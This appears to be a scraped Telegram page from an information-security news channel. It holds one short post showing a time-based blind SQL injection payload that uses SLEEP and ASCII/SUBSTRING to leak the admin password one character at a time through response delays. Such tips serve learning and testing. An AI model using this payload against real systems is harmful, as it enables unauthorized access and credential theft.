Information Security
408 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
Exfiltrate data from a blind SQL Injection in SELECT clause.

SELECT SLEEP(ASCII(SUBSTRING((SELECT password FROM users WHERE name = 'admin'),1,1)/2));

Converts output of SUBSTRING query to ASCII code, divides it by two, then sleeps for that long (see response time for char code)